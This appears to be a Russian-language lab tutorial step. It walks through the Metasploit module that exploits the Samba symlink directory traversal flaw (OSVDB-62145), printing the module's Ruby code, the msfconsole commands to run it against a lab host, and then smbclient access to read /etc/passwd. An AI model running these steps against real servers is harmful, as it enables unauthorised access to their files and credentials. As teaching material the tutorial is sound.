Анализ уязвимости Samba
На этом шаге вы узнаете о уязвимости Samba и проанализируете основной код эксплойт-модуля.
Samba - это свободное программное обеспечение, которое позволяет операционным системам, похожим на UNIX, подключаться к сети с использованием протокола SMB/CIFS (Server Message Block/Common Internet File System), применяемого в Microsoft Windows. Версия 3 не только позволяет получать доступ к и делиться папками и принтерами SMB, но также может интегрироваться в домен Windows Server в качестве контроллера домена или присоединиться к Active Directory как член. Проще говоря, это программное обеспечение устраняет разрыв между Windows и операционными системами, похожими на UNIX, обеспечивая общий доступ к ресурсам между ними.
Samba имеет широкое применение, и поэтому уязвимости в Samba могут иметь значительное влияние. Samba может создавать сетевые общие ресурсы для выбранных каталогов Unix (включая все подкаталоги). Эта функция позволяет пользователям Windows получать доступ к этим каталогам Unix по сети, как если бы они были обычными папками Windows.
Индекс уязвимости, используемый в этом эксперименте:
OSVDB-62145
Индекс исходного кода модуля Samba, используемого в этом эксперименте:
symlink_traversal.rb
Пройдемся по объяснению основного кода:
## Module initialization information, including author information and module introduction
def initialize
super(
'Name' => 'Samba Symlink Directory Traversal',
'Description' => %Q{
This module exploits a directory traversal flaw in the Samba
CIFS server. To exploit this flaw, a writeable share must be specified.
The newly created directory will link to the root filesystem.
},
'Author' =>
[
'kcope', ## http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html
'hdm' ## metasploit module
],
'References' =>
[
['OSVDB', '62145'],
['URL', 'http://www.samba.org/samba/news/symlink_attack.html']
],
'License' => MSF_LICENSE
)
## Register option information
register_options([
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),
OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])
], self.class)
end
## Main execution function
def run
## Function to connect to the server
print_status("Connecting to the server...")
connect()
smb_login()
## Connect to the target host
print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
## Attempt to enter the root filesystem
print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")
self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)
## Print success message after successful entry
print_status("Now access the following share to browse the root filesystem:")
print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")
print_line("")
end
end
После объяснения основного кода модуля, давайте выполним фактическую эксплуатацию уязвимости в терминале MSF, введя следующие команды:
search samba
use auxiliary/admin/smb/samba_symlink_traversal
show options
Установите целевой хост:
set RHOST 192.168.122.102
Выберите общий каталог:
set SMBSHARE tmp
Примечание: В качестве напоминания, последствие этой уязвимости Samba заключается в том, что она позволяет создавать сетевые общие ресурсы для выбранных каталогов Unix (включая все подкаталоги).
После настройки всех необходимых параметров вы можете приступить к эксплуатации уязвимости:
exploit
В случае успеха вы должны увидеть следующее сообщение:
[*] 192.168.122.102:445 - Now access the following share to browse the root filesystem:
После успешной эксплуатации уязвимости выйдите с помощью команды exit
и проверьте, можно ли подключиться с использованием smbclient
в терминале. Вас попросят ввести пароль, но вы можете нажать Enter, не вводя никакого пароля:
exit
smbclient //192.168.122.102/tmp
После подключения вы можете проверить доступ к корневому файловому системному разделу, выполнив следующую команду:
more rootfs/etc/passwd
Вы должны увидеть вывод, похожий на следующий:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
[....]
Это подтверждает, что вы успешно эксплуатировали уязвимость и получили доступ к целевому хосту через созданный сетевой общий ресурс.
Нажмите Ctrl+D, чтобы выйти из консоли Metasploit, а затем начните проверку